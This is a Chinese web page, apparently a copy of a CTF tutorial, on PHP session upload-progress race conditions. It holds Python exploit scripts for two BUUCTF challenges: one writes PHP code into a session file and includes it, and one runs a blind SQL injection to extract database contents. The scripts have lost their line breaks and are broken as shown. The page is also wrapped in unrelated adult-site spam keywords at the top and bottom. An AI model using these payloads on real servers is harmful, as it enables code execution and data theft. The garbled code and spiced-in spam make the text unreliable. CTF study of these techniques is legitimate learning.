成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久

您的位置:首頁技術(shù)文章
文章詳情頁

PHP Session條件競爭超詳細(xì)講解

瀏覽:11日期:2022-06-06 11:46:52

PHP SESSION 的存儲

Session會話存儲方式

PHP將session以文件的形式存儲服務(wù)器的文件中,session.save_path來控制

默認(rèn)路徑

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件默認(rèn)是/var/lib/php/sessions目錄下,文件名是sess_加上sessionID字段

但是在賽題中大多數(shù)都是/tmp目錄下,需要php.ini力sesion.auto_start設(shè)置為1,然后修改目錄

session.auto_start:如果開啟這個選項,則PHP在接收請求的時候會自動初始化Session,不再需要執(zhí)行session_start()。但默認(rèn)情況下,也是通常情況下,這個選項都是默認(rèn)關(guān)閉的。

session.upload_progress.cleanup = on:表示當(dāng)文件上傳結(jié)束后,php將會立即清空對應(yīng)session文件中的內(nèi)容。該選項默認(rèn)開啟

session.use_strict_mode:默認(rèn)情況下,該選項的值是0,此時用戶可以自己定義Session ID。

使用 Python 實(shí)現(xiàn)創(chuàng)建 Session 文件的過程:

import ioimport requestsimport threadingsessid = "whoami"def POST(session):    f = io.BytesIO(b"a" * 1024 * 50)    session.post("http://192.168.43.82/index.php",data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用來改變session中的值files={"file":("q.txt", f)},cookies={"PHPSESSID":sessid} //用來sesssion中的文件名  sess_whoami    )with requests.session() as session:    while True:POST(session)print("[+] 成功寫入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?phphighlight_file(__FILE__);require_once "flag.php";if(isset($_GET["file"])) {  require_once $_GET["file"];}

這道題是文件包含,已經(jīng)包含過了一次flag.php,就不能二次包含了,一種方法是軟連接/proc/self/root繞過

/proc/self指向當(dāng)前進(jìn)程的/proc/pid/

/proc/self/root/是指向/的符號鏈接

這道題也可以 用條件競爭進(jìn)行,

import ioimport sysimport requestsimport threadinghost = "http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/"sessid = "feng"def POST(session): while True:  f = io.BytesIO(b"a" * 1024 * 50)  session.post(  host,  data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system("cat flag.php");echo md5("1");?>"},  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5("1");?>"},//session存值  files={  "file":("a.txt", f)},  cookies={   "PHPSESSID":sessid}//改名    )def READ(session): while True:   response = session.get(f"{host}?file=/tmp/sess_{sessid}")//路徑# print(response.text)   if "c4ca4238a0b923820dcc509a6f75849b" not in response.text://1的md5      print("[+++]retry")   else:      print(response.text)      sys.exit(0)with requests.session() as session:  t1 = threading.Thread(target=POST, args=(session, ))//線程可以套循環(huán) 多層線程  t1.daemon = True  //相當(dāng)完成任務(wù)直接結(jié)束,不用等線程全部結(jié)束  t1.start()  READ(session)

線程結(jié)束后,想在網(wǎng)頁獲得php壞境頁面可是找不到,

希望有師傅解答一下,然后這樣就非常局限,

[PwnThyBytes 2019]Baby_SQL

訪問源碼,獲得source.zip

打開后發(fā)現(xiàn)index.php

<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;function filter($value){    !is_string($value) AND die("Hacking attempt!");    return addslashes($value);}isset($_GET["p"]) AND $_GET["p"] === "register" AND $_SERVER["REQUEST_METHOD"] === "POST" AND isset($_POST["username"]) AND isset($_POST["password"]) AND @include("templates/register.php");isset($_GET["p"]) AND $_GET["p"] === "login" AND $_SERVER["REQUEST_METHOD"] === "GET" AND isset($_GET["username"]) AND isset($_GET["password"]) AND @include("templates/login.php");isset($_GET["p"]) AND $_GET["p"] === "home" AND @include("templates/home.php");?>

都要經(jīng)過最后的過濾,然后通過傳參p進(jìn)行包含templates目錄下面的文件

login.php

<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");include "db.php";$sql = "SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="" . $_GET["username"] . "" and password="" . md5($_GET["password"]) . "";";$result = $con->query($sql);function auth($user){    $_SESSION["username"] = $user;    return True;}($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row["username"]) AND die("<meta http-equiv="refresh" content="0; url=?p=home" />")) OR ($con->close() AND die("Try again!"));?>

發(fā)現(xiàn)就login.php里面沒有過濾,然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思為如果不存在session就die輸出,前面的為true才執(zhí)行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才執(zhí)行后面的語句。然后這里的意思前面有個大的括號里有一個滿足就會執(zhí)行$con->close(),然后這個執(zhí)行返回true的話就會執(zhí)行die(“Not allowed!”);

所以如果我們要直接訪問login.php進(jìn)行sql注入的話,還需要帶上一個session才行,這里邊用上了我們的PHP_SESSION_UPLOAD_PROGRESS了。我們可以使用PHP_SESSION_UPLOAD_PROGRESS來在目標(biāo)服務(wù)器上初始化一個session,然后便可以繞過index.php中的檢測,直接訪問login.php進(jìn)行sql注入了。

import requestsurl = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"http://這個templates是因為login.php在這個目錄下面files = {"file": "123456789"}a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}, params={"username": "test", "password": "test"},  proxies={"http": "http://127.0.0.1:8080"})通過這個接口,burp就可以抓包到print(a.text)

然后對username進(jìn)行注入,發(fā)現(xiàn)是用"進(jìn)行閉合,然后回顯,可以用盲注實(shí)現(xiàn)

<meta http-equiv="refresh" content="0; url=?p=home" />

import requestsimport timeurl = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"files = {"file": "123456789"}flag=""for i in range(1,100):    low = 32    high = 128    mid = (low+high)//2    while (low < high):time.sleep(0.06)#payload_flag ={"username": "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),"password": "test"}payload_flag = {    "username": "test" or (ascii(substr(database(),{0},1))>{1}) #".format(i,mid),"password": "test"}r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}) print(payload_flag)if "<meta http-equiv="refresh" content="0; url=?p=home" />" in r.text:    low = mid +1else:    high = midmid = (low + high) // 2    if(mid==32 ):break    flag +=chr(mid)    print(flag)print(flag)

到此這篇關(guān)于PHP Session條件競爭超詳細(xì)講解的文章就介紹到這了,更多相關(guān)PHP Session內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持!

標(biāo)簽: PHP
相關(guān)文章:
成人在线亚洲_国产日韩视频一区二区三区_久久久国产精品_99国内精品久久久久久久
亚洲国产精品成人综合| 欧美日韩一卡二卡三卡| 久久综合久久久| 亚洲三级免费观看| 色综合天天天天做夜夜夜夜做| 欧美日韩第一区日日骚| 日韩专区一卡二卡| 国产日韩一区二区三区在线| 日韩美女久久久| 欧美激情日韩| 国产欧美精品国产国产专区| 91免费精品国自产拍在线不卡| 欧美一级高清片| 国产一区欧美日韩| 中国av一区二区三区| 亚洲综合色在线| 91浏览器打开| 亚洲精品一区二区三区99| 国产美女视频一区| 波多野结衣精品在线| 精品国产污网站| av在线免费不卡| 蜜桃久久av一区| 天堂成人免费av电影一区| 欧美人体做爰大胆视频| 国产精品另类一区| 欧美二区在线| 国产精品久久午夜| 国产成人精品三级麻豆| 9191精品国产综合久久久久久| 久久亚洲综合| 亚洲午夜成aⅴ人片| 在线欧美亚洲| 欧美欧美全黄| 国产欧美精品一区二区色综合朱莉| 欧美1区2区| 国产精品成人在线观看| 亚洲激情一区二区| 亚洲一区二区三区中文字幕 | 成人亚洲精品久久久久软件| 欧美一区二区免费观在线| 国产综合色视频| 欧美日本韩国一区二区三区视频 | 九九九精品视频| 777亚洲妇女| 亚洲激情网址| 亚洲成人精品在线观看| 91久久精品一区二区三| 国模冰冰炮一区二区| 精品久久久久99| 午夜精品电影| 一区二区三区精品在线| 色屁屁一区二区| 三级影片在线观看欧美日韩一区二区 | 久久久精品综合| 韩国精品一区二区三区| 亚洲专区一二三| 在线免费观看日韩欧美| 成人免费不卡视频| 综合激情网...| 狂野欧美一区| 成人一级视频在线观看| 久久精品视频免费| 雨宫琴音一区二区在线| 久久久久91| 成人免费观看视频| 最新久久zyz资源站| 久久精品成人| 国产99精品视频| 国产精品国产三级国产普通话蜜臀| 99av国产精品欲麻豆| 久久99国产精品久久99| 久久久九九九九| 亚洲综合二区| 乱一区二区av| 国产亚洲一区二区三区在线观看| 亚洲最黄网站| 麻豆精品久久久| 精品对白一区国产伦| 亚洲人成免费| 精品一区精品二区高清| 国产欧美中文在线| 久久精品一区| 成人做爰69片免费看网站| 亚洲精品视频在线看| 欧美日韩亚洲国产综合| 欧美日韩影院| 亚洲成av人片在线| 日韩三级免费观看| 999亚洲国产精| 丁香亚洲综合激情啪啪综合| 国产午夜精品久久| 久久xxxx| 成人黄色一级视频| 一级精品视频在线观看宜春院| 欧美精品vⅰdeose4hd| 在线播放不卡| 国产精品综合一区二区| 亚洲欧美另类图片小说| 91精品国产日韩91久久久久久| 在线播放不卡| 国产成人av电影在线播放| 不卡一区二区中文字幕| 丝袜a∨在线一区二区三区不卡 | 无码av免费一区二区三区试看 | 国产精品三级久久久久三级| 欧美日精品一区视频| 黄色欧美成人| 国产一区二区三区四区在线观看| 成人免费一区二区三区在线观看| 欧美另类z0zxhd电影| 国产婷婷精品| 99re66热这里只有精品3直播| 日本在线不卡视频一二三区| 亚洲国产精品成人综合| 3d成人h动漫网站入口| 99riav1国产精品视频| 成a人片国产精品| 日本中文字幕一区| 欧美经典一区二区| 成人综合婷婷国产精品久久免费| 天堂一区二区在线| 亚洲天堂av一区| www一区二区| 欧美日韩专区在线| 一区二区国产日产| 97超碰欧美中文字幕| 精品一区二区三区免费| 洋洋成人永久网站入口| 欧美精品一区二区三| 欧美婷婷六月丁香综合色| 一区二区三区久久网| 色综合天天综合网天天狠天天 | 欧美三级视频在线| 99精品欧美| 欧美高清视频一区二区三区在线观看| 久久99精品久久只有精品| 亚洲一区二区三区四区在线免费观看 | 在线国产电影不卡| 一区二区三区四区国产| 欧美欧美天天天天操| 成人精品国产一区二区4080| 亚洲免费看黄网站| 国产日韩欧美精品电影三级在线| 欧美精品 国产精品| 另类激情亚洲| 亚洲激情一区| 国内精品福利| 成人免费视频国产在线观看| 久久超级碰视频| 亚洲小说春色综合另类电影| 国产精品激情偷乱一区二区∴| 精品国产免费人成在线观看| 在线不卡欧美精品一区二区三区| 久久久久久九九九九| 国产欧美精品| 亚洲国产高清一区| 欧美日韩第一区| 9色porny自拍视频一区二区| 精品亚洲国产成人av制服丝袜 | 国内久久精品| 欧美二区在线| 99久久精品免费| 成人高清免费在线播放| 国产黑丝在线一区二区三区| 另类欧美日韩国产在线| 日韩高清在线电影| 亚洲午夜一区二区三区| 亚洲综合av网| 亚洲一区二区综合| 亚洲国产精品久久人人爱| 樱桃国产成人精品视频| 国产精品久久久久一区二区三区| 欧美xxx久久| 91精品国产91久久久久久最新毛片 | 国产一区二区三区成人欧美日韩在线观看| 国产精品二区二区三区| 欧美精品一区二区三区久久久竹菊| 91丨porny丨蝌蚪视频| a级精品国产片在线观看| 丁香啪啪综合成人亚洲小说| 国产精品一卡二卡在线观看| 国产在线视频一区二区| 黄网站免费久久| 韩国精品在线观看| 日韩不卡一区二区三区| 欧美aa在线视频| 蜜乳av一区二区| 久久国产麻豆精品| 精品一二三四在线| 国产成人精品免费看| 国产一区二区主播在线| 国产精品1区2区3区| 高清国产午夜精品久久久久久| 成人久久视频在线观看| 成人美女视频在线看| 欧美在线播放一区二区| 亚洲高清网站| 久久另类ts人妖一区二区| 欧美网站一区二区|